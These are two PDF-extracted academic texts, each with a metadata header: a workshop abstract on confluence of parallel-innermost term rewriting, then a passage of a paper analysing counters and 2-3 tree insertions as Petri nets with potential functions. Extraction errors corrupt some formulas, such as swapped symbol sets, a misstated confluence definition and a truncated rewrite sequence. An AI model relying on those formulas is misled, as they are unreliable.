{"Source-Url": "http://ojs.academypublisher.com/index.php/jsw/article/download/jsw0704765772/4722", "len_cl100k_base": 5805, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 23461, "total-output-tokens": 7020, "length": "2e12", "weborganizer": {"__label__adult": 0.000949859619140625, "__label__art_design": 0.0012712478637695312, "__label__crime_law": 0.0009298324584960938, "__label__education_jobs": 0.00565338134765625, "__label__entertainment": 0.0001220107078552246, "__label__fashion_beauty": 0.0006046295166015625, "__label__finance_business": 0.0011348724365234375, "__label__food_dining": 0.0010633468627929688, "__label__games": 0.0008254051208496094, "__label__hardware": 0.00391387939453125, "__label__health": 0.04071044921875, "__label__history": 0.0005936622619628906, "__label__home_hobbies": 0.0002543926239013672, "__label__industrial": 0.0007448196411132812, "__label__literature": 0.0005593299865722656, "__label__politics": 0.0003674030303955078, "__label__religion": 0.000965118408203125, "__label__science_tech": 0.2183837890625, "__label__social_life": 0.0002391338348388672, "__label__software": 0.032470703125, "__label__software_dev": 0.68603515625, "__label__sports_fitness": 0.0007991790771484375, "__label__transportation": 0.0008931159973144531, "__label__travel": 0.0004138946533203125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31671, 0.02296]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31671, 0.11727]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31671, 0.90293]], "google_gemma-3-12b-it_contains_pii": [[0, 4679, false], [4679, 10486, null], [10486, 14364, null], [14364, 19501, null], [19501, 21975, null], [21975, 25105, null], [25105, 28443, null], [28443, 31671, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4679, true], [4679, 10486, null], [10486, 14364, null], [14364, 19501, null], [19501, 21975, null], [21975, 25105, null], [25105, 28443, null], [28443, 31671, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31671, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31671, null]], "pdf_page_numbers": [[0, 4679, 1], [4679, 10486, 2], [10486, 14364, 3], [14364, 19501, 4], [19501, 21975, 5], [21975, 25105, 6], [25105, 28443, 7], [28443, 31671, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31671, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
ee865e2b990a7b3dba6cbaf9c56fabde8a60f0c9
|
On Confluence of Parallel-Innermost Term Rewriting
Thaïs Baudon, Carsten Fuhs, Laure Gonnord
To cite this version:
Thaïs Baudon, Carsten Fuhs, Laure Gonnord. On Confluence of Parallel-Innermost Term Rewriting. IWC 2022 - 11th International Workshop on Confluence, Aug 2022, Haifa, Israel. hal-03710007v2
HAL Id: hal-03710007
https://inria.hal.science/hal-03710007v2
Submitted on 4 Jul 2022
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
On Confluence of Parallel-Innermost Term Rewriting*
Thaïs Baudon¹, Carsten Fuhs², and Laure Gonnord³,¹
¹ LIP (UMR CNRS/ENS Lyon/UCB Lyon1/INRIA), Lyon, France
² Birkbeck, University of London, United Kingdom
³ LCIS (UGA/Grenoble INP/Ésisar), Valence, France
Abstract
We revisit parallel-innermost term rewriting as a model of parallel computation on inductive data structures. We propose a simple sufficient criterion for confluence of parallel-innermost rewriting based on non-overlappingness. Our experiments on a large benchmark set indicate the practical usefulness of our criterion. We close with a challenge to the community to develop more powerful dedicated techniques for this problem.
1 Introduction
This extended abstract deals with a practical approach to proving confluence of (max-)parallel-innermost term rewriting. We consider term rewrite systems (TRSs) as intermediate representation for programs operating on inductive data structures such as trees. More specifically, TRSs can be seen as an abstraction of pattern matching on algebraic data types (ADTs), which are particularly well-suited to the implementation of operations on inductive data structures. This class of programs is gaining in importance in high-performance computing (HPC): among other examples, the scheduler of the Linux kernel uses red-black trees; and many (also systems-level) programming languages like Rust used in HPC feature ADTs. This leads to the need for compilation techniques for pattern matching on ADTs that yield a highly efficient output. One aspect of this problem pertains to the parallelisation of such programs. A small example for such a program is given in Figure 1.
fn size(&self) -> int {
match self {
&Tree::Node { v, ref left, ref right }
=> left.size() + right.size() + 1,
&Tree::Empty => 0,
}
}
Figure 1: Tree size computation in Rust
In Section 2, we recapitulate standard definitions and fix notations. Section 3 recapitulates the notion of parallel-innermost rewriting on which we focus in this extended abstract. In Section 4, we provide a first criterion for confluence of parallel-innermost rewriting. Section 5 provides experimental evidence of the practicality of our criterion on a large standard benchmark set. We conclude in Section 6.
*This work was partially funded by the French National Agency of Research in the CODAS Project (ANR-17-CE23-0004-01).
2 Preliminaries
We assume familiarity with term rewriting (see, e.g., [2]) and recall standard definitions.
Definition 1 (Term Rewrite System, Innermost Rewriting). \( \mathcal{T}(\Sigma, \mathcal{V}) \) denotes the set of terms over a finite signature \( \Sigma \) and the set of variables \( \mathcal{V} \). For a term \( t \), the set \( \text{Pos}(t) \) of its positions is given as: (a) if \( t \in \mathcal{V} \), then \( \text{Pos}(t) = \{ \varepsilon \} \), and (b) if \( t = f(t_1, \ldots, t_n) \), then \( \text{Pos}(t) = \{ \varepsilon \} \cup \bigcup_{1 \leq i \leq n} \{ \pi \mid \pi \in \text{Pos}(t_i) \} \). The position \( \varepsilon \) is the root position of term \( t \). For \( \pi \in \text{Pos}(t) \), \( t|_{\pi} \) is the subterm of \( t \) at position \( \pi \), and we write \( t|_{\pi} \) for the term that results from \( t \) by replacing the subterm \( t|_{\pi} \) at position \( \pi \) by the term \( s \).
For a term \( t \), \( \mathcal{V}(t) \) is the set of variables in \( t \). If \( t \) has the form \( f(t_1, \ldots, t_n) \), \( \text{root}(t) = f \) is the root symbol of \( t \). A term rewrite system (TRS) \( \mathcal{R} \) is a set of rules \( \{ \ell_1 \rightarrow r_1, \ldots, \ell_n \rightarrow r_n \} \) with \( \ell_1, r_1 \in \mathcal{T}(\Sigma, \mathcal{V}) \), \( \ell_i \notin \mathcal{V} \), and \( \mathcal{V}(r_i) \subseteq \mathcal{V}(\ell_i) \) for all \( 1 \leq i \leq n \). The rewrite relation of \( \mathcal{R} \) is \( s \rightarrow_{\mathcal{R}} t \) iff there are a rule \( \ell \rightarrow r \in \mathcal{R} \), a position \( \pi \in \text{Pos}(s) \), and a substitution \( \sigma \) such that \( s \equiv s[\ell[\sigma]]_{\pi} \) and \( t \equiv s[r[\sigma]]_{\pi} \). Here, \( \sigma \) is called the matcher and the term \( \ell \sigma \) is called the redex of the rewrite step. If \( \ell \sigma \) has no proper subterm that is also a possible redex, \( \ell \sigma \) is an innermost redex, and the rewrite step is an innermost rewrite step, denoted by \( s \xrightarrow{\ell} t \).
\( \Sigma^R_\mathcal{R} = \{ f \mid f(\ell_1, \ldots, \ell_n) \rightarrow r \in \mathcal{R} \} \) and \( \Sigma^c_\mathcal{R} = \Sigma \setminus \Sigma^R_\mathcal{R} \) are the defined and constructor symbols of \( \mathcal{R} \). We may also just write \( \Sigma_d^\mathcal{R} \) and \( \Sigma_c^\mathcal{R} \).
For a relation \( \rightarrow \), \( \rightarrow^+ \) is its transitive closure and \( \rightarrow^* \) its reflexive-transitive closure. An object \( o \) is a normal form wrt a relation \( \rightarrow \) iff there is no \( o' \) with \( o \rightarrow o' \). A relation \( \rightarrow \) is confluent iff \( s \rightarrow^+ t \) and \( s \rightarrow^+ u \) implies that there exists an object \( v \) with \( t \rightarrow^+ v \) and \( u \rightarrow^+ v \).
Example 1 (size). Consider the TRS \( \mathcal{R} \) with the following rules modelling the code of Figure 1.
\[
\begin{align*}
\text{plus}(\text{Zero}, y) & \rightarrow y & \text{size}(\text{Nil}) & \rightarrow \text{Zero} \\
\text{plus}(S(x), y) & \rightarrow S(\text{plus}(x, y)) & \text{size}(\text{Tree}(v, l, r)) & \rightarrow S(\text{plus}(\text{size}(l), \text{size}(r)))
\end{align*}
\]
Here \( \Sigma^c_\mathcal{R} = \{ \text{plus}, \text{size} \} \) and \( \Sigma^R_\mathcal{R} = \{ \text{Zero}, \text{S}, \text{Nil}, \text{Tree} \} \). We have the following innermost rewrite sequence, where the used innermost redexes are underlined:
\[
\begin{align*}
\text{size}(\text{Tree}(\text{Zero}, \text{Nil}, \text{Tree}(\text{Zero}, \text{Nil}, \text{Nil}))) & \xrightarrow{\mathcal{R}} S(\text{plus}(\text{size}(\text{Nil}), \text{size}(\text{Tree}(\text{Zero}, \text{Nil}, \text{Nil})))) \\
\xrightarrow{\mathcal{R}} S(\text{plus}(\text{Zero}, \text{size}(\text{Tree}(\text{Zero}, \text{Nil}, \text{Nil})))) & \xrightarrow{\mathcal{R}} S(\text{plus}(\text{Zero}, S(\text{plus}(\text{size}(\text{Nil}), \text{size}(\text{Nil})))))) \\
\xrightarrow{\mathcal{R}} S(\text{plus}(\text{Zero}, S(\text{plus}(\text{Zero}, \text{size}(\text{Nil})))))) & \xrightarrow{\mathcal{R}} S(\text{plus}(\text{Zero}, S(\text{plus}(\text{Zero}, \text{Zero})))) \\
\xrightarrow{\mathcal{R}} S(\text{plus}(\text{Zero}, S(\text{Zero}))) & \xrightarrow{\mathcal{R}} S(\text{Zero})
\end{align*}
\]
This rewrite sequence uses 7 steps to reach a normal form.
3 Parallel-Innermost Rewriting
The notion of parallel-innermost rewriting dates back at least to the year 1974 [13]. Informally, in a parallel-innermost rewrite step, all innermost redexes are rewritten simultaneously. This corresponds to executing all function calls in parallel using a call-by-value strategy on a machine with unbounded parallelism [3]. In the literature [11], this strategy is also known as “max-parallel-innermost rewriting”.
Definition 2 (Parallel-Innermost Rewriting [5]). A term \( s \) rewrites innermost in parallel to \( t \) with a TRS \( \mathcal{R} \), written \( s \xrightarrow{R} t \), iff \( s \xrightarrow{\ell} t \), and either (a) \( s \xrightarrow{\mathcal{R}} t \) with \( s \) an innermost redex, or (b) \( s = f(s_1, \ldots, s_n), t = f(t_1, \ldots, t_n) \), and for all \( 1 \leq k \leq n \) either \( s_k \xrightarrow{R} t_k \) or \( s_k = t_k \) is a normal form.
Example 2 (Example 1 continued). The TRS $\mathcal{R}$ from Example 1 allows the following parallel-innermost rewrite sequence, where innermost redexes are underlined:
$$
\begin{align*}
\text{size(Tree(Zero, Nil, Tree(Zero, Nil, Nil))))} & \quad \xrightarrow{\mathcal{R}} \quad S(\text{size}(\text{Nil}), \text{size(Tree(Zero, Nil, Nil))))) \\
\text{S(plus(Zero, S(plus(size(Nil), size(Nil))))))} & \quad \xrightarrow{\mathcal{R}} \quad \text{S(plus(Zero, S(plus(Zero, Zero))))} \\
\text{S(plus(Zero, S(Zero)))} & \quad \xrightarrow{\mathcal{R}} \quad \text{S(S(Zero))}
\end{align*}
$$
In the second and in the third step, two innermost steps each happen in parallel. An innermost rewrite sequence without parallel evaluation necessarily needs two more steps to a normal form from this start term, as in Example 1.
4 Confluence of Parallel-Innermost Rewriting
Given a TRS $\mathcal{R}$, we wish to prove (or disprove) confluence of this relation $\parallel\rightarrow_{\mathcal{R}}$. Apart from intrinsic interest in confluence as an important property of a rewrite relation, we are also motivated by applications of confluence proofs to finding lower bounds for the length of the longest derivation with $\parallel\rightarrow_{\mathcal{R}}$ from basic terms, i.e., terms $f(t_1, \ldots, t_k)$ where $f$ is a defined symbol and all $t_i$ are constructor terms. This notion of complexity of a TRS $\mathcal{R}$, which is parametric in the size of the start term, is also known as runtime complexity $[8]$.\(^1\)
To this end, might we even reuse confluence of innermost rewriting or of full rewriting (and corresponding tools) as sufficient criteria for confluence of parallel-innermost rewriting?
Alas, by the following example, in general we have to answer this question in the negative.
Example 3 (Confluence of $\rightarrow_{\mathcal{R}}$ does not imply Confluence of $\parallel\rightarrow_{\mathcal{R}}$). To see that we cannot prove confluence of $\parallel\rightarrow_{\mathcal{R}}$ just by using a standard off-the-shelf tool for confluence analysis of innermost or full rewriting $[4]$, consider the TRS $\mathcal{R} = \{a \rightarrow f(b, b), a \rightarrow f(b, c), b \rightarrow c, c \rightarrow b\}$.
For this TRS, both $\rightarrow_{\mathcal{R}}$ and $\rightarrow_{\mathcal{R}}$ are confluent. However, $\parallel\rightarrow_{\mathcal{R}}$ is not confluent: we can rewrite both $a \; \parallel\rightarrow_{\mathcal{R}} f(b, b)$ and $a \; \parallel\rightarrow_{\mathcal{R}} f(b, c)$, yet there is no term $v$ such that $f(b, b) \; \parallel\rightarrow_{\mathcal{R}} v$ and $f(b, c) \; \parallel\rightarrow_{\mathcal{R}} v$. The reason is that the only possible rewrite sequences with $\parallel\rightarrow_{\mathcal{R}}$ from these terms are $f(b, b) \; \parallel\rightarrow_{\mathcal{R}} f(c, c) \; \parallel\rightarrow_{\mathcal{R}} f(b, b) \; \parallel\rightarrow_{\mathcal{R}} \ldots$ and $f(b, c) \; \parallel\rightarrow_{\mathcal{R}} f(c, b) \; \parallel\rightarrow_{\mathcal{R}} f(b, c) \; \parallel\rightarrow_{\mathcal{R}} \ldots$, with no terms in common.
Thus, in general a confluence proof for $\rightarrow_{\mathcal{R}}$ or $\rightarrow_{\mathcal{R}}$ does not imply confluence for $\parallel\rightarrow_{\mathcal{R}}$.
To devise a sufficient criterion for confluence of $\parallel\rightarrow_{\mathcal{R}}$, recall that confluence means: if a term $s$ can be rewritten to two different terms $t_1$ and $t_2$ in 0 or more steps, then it is always possible to rewrite $t_1$ and $t_2$ in 0 or more steps to one and the same term $u$. For parallel-innermost rewriting, the redexes that get rewritten are fixed: all the innermost redexes simultaneously. Thus, $s$ can reach two different terms $t_1$ and $t_2$ only if at least one of these redexes can be rewritten in two different ways using $\rightarrow_{\mathcal{R}}$.
The following standard definition of a non-overlapping TRS will be very helpful for a sufficient criterion of confluence of $\parallel\rightarrow_{\mathcal{R}}$.
Definition 3 (Non-Overlapping). A TRS $\mathcal{R}$ is non-overlapping iff for any two rules $\ell \rightarrow r, u \rightarrow v \in \mathcal{R}$ where variables have been renamed apart between the rules, there is no position $\pi$ in $\ell$ such that $\ell|_{\pi} \notin \mathcal{V}$ and the terms $\ell|_{\pi}$ and $u$ unify.
\(^1\)The details of our approach to finding complexity bounds are outside of the scope of the present extended abstract; what matters here is that it provides an application for techniques to prove confluence of parallel-innermost rewriting. Thus, more powerful techniques for proving confluence of parallel-innermost rewriting potentially allow for larger applicability of techniques for finding lower bounds for runtime complexity of parallel-innermost rewriting.
Using non-overlappingness, a sufficient criterion that a given redex has a unique result from a rewrite step is given in the following.
**Lemma 1** ([2], Lemma 6.3.9). If a TRS $R$ is non-overlapping, and both $s \rightarrow_R t_1$ and $s \rightarrow_R t_2$ with the used redex of both rewrite steps at the same position, then $t_1 = t_2$.
With the above reasoning, this lemma directly gives us a sufficient criterion for confluence of parallel-innermost rewriting.
**Corollary 1** (Confluence of Parallel-Innermost Rewriting). If a TRS $R$ is non-overlapping, then $\parallel\rightarrow_R$ is confluent.
Here left-linearity of $R$ (i.e., in all rules $\ell \rightarrow r \in R$, every variable occurs at most once in $\ell$), as in Rosen’s criterion for confluence of full rewriting [10], is not required.
**Example 4** (Example 2 continued). Our TRS $R$ from Example 1 and Example 2 is non-overlapping and, by Corollary 1, its relation $\parallel\rightarrow_R$ is confluent.
The reasoning behind Corollary 1 can be generalised to arbitrary strategies where the redexes that are rewritten are fixed, such as (max-)parallel-outermost rewriting [11].
We get the following two follow-up questions:
1. How powerful is Corollary 1 for proving confluence of $\parallel\rightarrow_R$ in practice?
2. Can we really not do better than Corollary 1?
5 Experiments
To assess the first question, we used the implementation of the non-overlappingness check in the automated termination and complexity analysis tool AProVE [6]. To demonstrate the effectiveness of our implementation, we have considered the 663 TRSs from category Runtime_Complexity_InnermostRewriting of the Termination Problem Database (TPDB), version 11.2 [15]. The TPDB is a collection of examples used at the annual Termination and Complexity Competition [7, 14]. The above category of the TPDB is the benchmark collection used specifically to compare tools that infer complexity bounds for runtime complexity of innermost rewriting. As both the TPDB and also COPS [9], the benchmark collection used in the Confluence Competition [4], currently do not have a specific benchmark collection for parallel-innermost rewriting, we used this benchmark collection instead.2
In our experiments, AProVE determined for 447 out of 663 TRSs (about 67.4%) that they are non-overlapping. By Corollary 1, this means that their parallel-innermost rewrite relations are confluent. Thus, already with the simple (and efficiently checkable) criterion of Corollary 1 we cover a large number of TRSs occurring “in the wild”.
At the same time, this reinforces the second question: Can we not do better than this? Corollary 1 already fails for such natural examples as a TRS with the following rules to compute the maximum function on natural numbers:
\[
\begin{align*}
\max(0, x) & \rightarrow x \\
\max(x, 0) & \rightarrow x \\
\max(S(x), S(y)) & \rightarrow S(\max(x, y))
\end{align*}
\]
2Our experimental data as well as all examples are available online [1].
Here one can arguably see immediately that the overlap between the first and the second rule, at root position, is harmless: if both rules are applicable to the same redex, the result of a rewrite step with either rule will be the same ($\mathsf{max}(\text{Zero}, \text{Zero}) \xrightarrow{R} \text{Zero}$). However, in general, more powerful criteria for confluence of parallel-innermost rewriting would be desirable.
6 Conclusion
We are not aware of other work that explicitly discusses automatically checkable criteria for confluence of parallel-innermost rewriting. As such, this extended abstract tries to make a first attempt at filling this gap, by using non-overlappingness as a sufficient criterion. Our experiments indicate that non-overlappingness provides a good “baseline” for a sufficient criterion for confluence of parallel-innermost rewriting. At the same time, techniques based on checks for non-overlappingness are one of the most basic tools in a confluence prover’s toolbox. Thus, this paper also poses the challenge to the community to develop stronger techniques for proving (and disproving!) confluence of parallel-innermost rewriting.
References
|
{"Source-Url": "https://inria.hal.science/hal-03710007/file/iwc22_para.pdf", "len_cl100k_base": 4968, "olmocr-version": "0.1.53", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 22415, "total-output-tokens": 6301, "length": "2e12", "weborganizer": {"__label__adult": 0.0005340576171875, "__label__art_design": 0.0004820823669433594, "__label__crime_law": 0.0007090568542480469, "__label__education_jobs": 0.000896453857421875, "__label__entertainment": 0.00014066696166992188, "__label__fashion_beauty": 0.00024330615997314453, "__label__finance_business": 0.000408172607421875, "__label__food_dining": 0.0006051063537597656, "__label__games": 0.0008730888366699219, "__label__hardware": 0.0013980865478515625, "__label__health": 0.001239776611328125, "__label__history": 0.00046133995056152344, "__label__home_hobbies": 0.0001678466796875, "__label__industrial": 0.0007882118225097656, "__label__literature": 0.0006656646728515625, "__label__politics": 0.0005865097045898438, "__label__religion": 0.0008769035339355469, "__label__science_tech": 0.1881103515625, "__label__social_life": 0.0001608133316040039, "__label__software": 0.00704193115234375, "__label__software_dev": 0.7919921875, "__label__sports_fitness": 0.000484466552734375, "__label__transportation": 0.0009684562683105468, "__label__travel": 0.00025725364685058594}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 19916, 0.02767]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 19916, 0.36356]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 19916, 0.73879]], "google_gemma-3-12b-it_contains_pii": [[0, 936, false], [936, 3328, null], [3328, 8620, null], [8620, 13432, null], [13432, 16444, null], [16444, 19916, null]], "google_gemma-3-12b-it_is_public_document": [[0, 936, true], [936, 3328, null], [3328, 8620, null], [8620, 13432, null], [13432, 16444, null], [16444, 19916, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 19916, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 19916, null]], "pdf_page_numbers": [[0, 936, 1], [936, 3328, 2], [3328, 8620, 3], [8620, 13432, 4], [13432, 16444, 5], [16444, 19916, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 19916, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
cc3227b279e9ebefccde94c70bf717a4032e40d3
|
Data Structures and Cost-bounded Petri Nets
Daniel D. Sleator
Department of Computer Science
Carnegie Mellon University
Pittsburgh, PA 15213
January 2, 1992
Abstract
Consider a collection of particles of various types, and a set of reactions that are allowed to take place among these particles. Each reaction is defined by an input linear combination of particles, and an output linear combination of particles. This framework (which is a Petri net) is shown to model the cost of updating several standard data structures, the amortized cost of counting in various number systems and the space consumption of persistent data structures. A proof that the system of reactions is guaranteed to terminate gives a bound on the cost of the corresponding data structure problem. I show how linear programming can be used to analyze these systems.
1. Introduction
Starting from zero, a binary counter is incremented up to $n$. The total cost of the process is defined to be the total number of bits that change. Consider the problem of bounding the total cost of the sequence of increments.
It is easy to see that $2n$ is a bound on the total cost: The low order bit (the ones bit) changes $n$ times, the twos bit changes $\lfloor \frac{n}{2} \rfloor$ (at most $\frac{n}{2}$) times, the fours bit changes at most $\frac{n}{4}$ times, etc. Thus the total number of bit changes is bounded by $2n$.
An alternative approach to the problem is revealed by examining on a more microscopic level what happens when a number is incremented. This process can be described as follows: A carry enters the number from the right, and runs into the low order bit. If this bit is a 0, it is changed to a 1, and the increment operation terminates. If the low order bit is a 1, it changes to a 0, and a new carry propagates into the twos position. This process is repeated until the carry reaches a 0.
If we imagine a number to be a collection of 0s and 1s, then incrementing corresponds to adding a “c” (a carry) to this collection, and applying a sequence of the following reactions:
\[
\begin{align*}
c + 0 & \longrightarrow 1 \\
c + 1 & \longrightarrow 0 + c \\
c & \longrightarrow 1
\end{align*}
\]
(The semantics of these reactions is that the collection of things on the left hand side is replaced by the collection of things on the right hand side.)
The process of incrementing a number \( n \) times starting from zero corresponds to starting with \( n \) \( \epsilon \)s and nothing else, and applying these reactions until all of the \( \epsilon \)s are gone. Thus, if we obtain an upper bound \( B \) on the number of times these reactions can fire starting from that initial state, \( B \) is also an upper bound on the cost of the increments. Note that while any sequence of increments corresponds to a sequence reaction firings, the converse is not true; a sequence of reaction firings does not always correspond to a sequence of increment operations.
Let \( N_0 \), \( N_1 \), and \( N_\epsilon \) be the number of 0s, 1s and \( \epsilon \)s. Consider the following function:
\[
\Phi = 2N_\epsilon + N_1
\]
Applying any one of the reactions causes \( \Phi \) to decrease by 1. Since the initial value of \( \Phi \) is \( 2n \), and \( \Phi \) is always non-negative, we infer that the total number of times these reactions can fire is at most \( 2n \). This gives an alternative derivation of the bound on the cost of incrementing.
This paper has two parts. In the first part I show how the approach demonstrated above can be used to analyze several standard data structures: 2-3 trees, 2-3-4 trees, persistent data structures and fibonacci heaps. These results on data structures are not new.
The reaction systems that arise from these data structure problems are known as Petri nets [7, 9, 10]. Each reaction (called a transition in the Petri net literature) has an non-negative integer linear combination of particles on its left side and on its right side. At any point in the process there is a population of particles (called the marking) to which one of the transitions is applied. Such a transition is said to have fired. A transition can only fire if the requirements of its left side are satisfied by the current population. Applying the transition removes the particles specified on the left side, and replaces them by those of the right side. The order in which the transitions fire is arbitrary subject to these constraints.
In order to obtain useful bounds on the cost of data structure operations, it is necessary to bound some behavior (such as the number of particles that can arise, or the number of reactions that fire) of the corresponding Petri net. In the second part of the paper I explore this problem.
Starting in a particular initial state, a Petri net is said to be terminating if the total number reactions that can possibly fire is finite. The net is said to be bounded if the number of particles of each type remains finite. (A terminating Petri net is bounded, but the converse is not necessarily true.)
Theorem 1 says that the problem of determining if a Petri net (starting from a particular initial condition) is bounded or terminating is NP-hard.
In a priced Petri net each reaction has a fixed cost. The problems of determining termination and boundedness of a Petri net can be reduced (by the appropriate choice of cost
vectors) to the problem of determining if a priced Petri net has bounded cost. It therefore follows from Theorem 1 that the problem of determining if the Petri net has bounded cost for a particular initial state is also NP-hard.
It is much easier to determine if a priced Petri net has bounded cost for all initial states. Theorem 2 shows that this problem is equivalent to the feasibility of a certain set of linear inequalities. One interpretation of the theorem is that if the Petri net has bounded cost for all inputs, then there must be a linear potential function (such as the one in the counting example) that proves this fact. This potential can be found with linear programming.
The work in this paper is closely related to other work on amortized analysis of algorithms [14, 15]. This type of analysis seeks to bound the performance of an algorithm which is required to perform a sequence of tasks. An amortized analysis is one which bounds the cost incurred by the algorithm over such a sequence. We can assign an amortized cost to each of the tasks in a sequence. These amortized costs are arbitrary subject to the provision that they sum to the total cost of the sequence.
One characteristic of most amortized analyses is that a potential function mysteriously appears to complete the proof. There has been very little work on the problem of automatically deriving potential functions. The only other work is that of Nelson [11], who showed how to derive the potential required for analyzing a snoopy caching problem [6]. This paper removes the mystery from several other amortized analyses.
2. Representing data structures as Petri nets
2.1. Counting up and down
When a binary number is decremented, a borrow, which I will denote by “b” combines with the low order bit of the number and propagates to the left. If we allow both increments and decrements, the five transitions that govern the situation are:
\[ b + 0 \rightarrow 1 + b \]
\[ b + 1 \rightarrow 0 \]
\[ c + 0 \rightarrow 1 \]
\[ c + 1 \rightarrow 0 + c \]
\[ c \rightarrow 1 \]
Consider the initial configuration: \( \{0, c, b\} \). The first and the fourth transition can be alternately applied forever. Although the actual cost of applying \( n \) increments, and \( m \) decrements to a number (that is never allowed to be negative) is at most \( (m + n) \log(n) \), we do not obtain this bound. The added generality of the Petri net allows an infinite repetition, when no such occurrence is possible in the original situation.
There are counting schemes in which the cost of both an increment and a decrement is constant in the amortized sense. One example is a ternary representation in base 2. The
three digits are $-1$, 0, and 1. (To increment the number, a carry is injected into the low order trit. This trit is increased by one. If its new value is 2, it is changed to 0, and a carry is propagated to the next trit. The decrement is analogous.) The transitions governing the increment and decrement operations are:
\[
\begin{align*}
b + 1 & \rightarrow 0 + b \\
b + 0 & \rightarrow -1 \\
b + 1 & \rightarrow 0 \\
b & \rightarrow -1 \\
c + 1 & \rightarrow 0 + c \\
c + 0 & \rightarrow 1 \\
c & \rightarrow 1
\end{align*}
\]
Let the potential function $\Phi$ be
\[\Phi = 2N_c + N_1 + 2N_b + N_{-1},\]
where $N_c$, $N_b$, $N_1$ and $N_{-1}$, are the number of $cs$, $bs$, 1s, and $-1$s respectively. An easy verification shows that $\Phi$ decreases by at least one as a consequence of any of the transitions. If we start with $n$ $cs$, $m$ $bs$, and any number of zeros, the initial potential is $2m + 2n$. This proves that the amortized cost of an increment or decrement is bounded by 2.
### 2.2. Insertions in 2-3 trees
A popular data structure for representing ordered list of items while allowing efficient searching, inserting, deleting, splitting, and joining is the 2-3 tree [1]. This data structure represents the list as a tree. Every internal node of the tree has either two or three children, and each path from the root to an external node has the same length. The degree of a node is the number of children it has, and a node with $d$ children is said to be a $d$-node. For the purposes of this discussion we regard the items as being stored in the external nodes of the tree.
Insertions in 2-3 trees are carried out in two phases. The first phase finds the internal node $y$ to which the new external node $x$ is to be attached. In the second phase the tree is modified to accommodate the new external node. This is carried out as follows: $x$ is made a child of $y$. If $y$ now has four children, it is split into two nodes, each with two children. Both of these nodes are attached to the parent of $y$, which may now have four children. This process of splitting iterates up the tree until either a node with two children is reached, or the root splits in two, and a new root with two children is introduced.
The cost of an insertion is defined to be the number of nodes that change as a result of the operation\(^1\). Starting from a tree with one internal node and two leaves, a sequence of $n$
---
\( ^1\)As you’ll see later, the techniques here will work even when each operation has an arbitrary cost. This allows, for example, the running time of each section of the program to be used as its cost.
insertions is applied. What is the amortized cost of these insertions?²
If we let “2” denote a node with two children and “3” denote a node with three children, and “c” denote the pending increase of the degree of a node by one, then we can capture the restructuring of the tree with a sequence from the following set of transitions:
\[
\begin{align*}
c + 2 & \rightarrow 3 \\
c + 3 & \rightarrow 2 + 2 + c \\
c + 3 & \rightarrow 2 + 2 + 2
\end{align*}
\]
The last of these transitions corresponds to the case when the root node splits in two. One of these transitions is fired each time the tree changes during the sequence of \( n \) insertions. Setting \( \Phi = 2N_c + N_3 \), it is easy to see that each transition causes the potential to decrease by at least one. The initial population of particles is \( N_c = n \), \( N_2 = 1 \), \( N_3 = N_1 = 0 \). The initial potential is therefore \( 2n \), and the cost of the sequence of insertions is at most \( 2n \). This shows that the amortized cost of an insertion is 2.
Incorporating deletions into this analysis leads to a Petri net that is non-terminating as long as there is at least one insertion and one deletion. The situation is analogous to that occurring during a sequence of increments and decrements of a binary number, as in section 2.1.
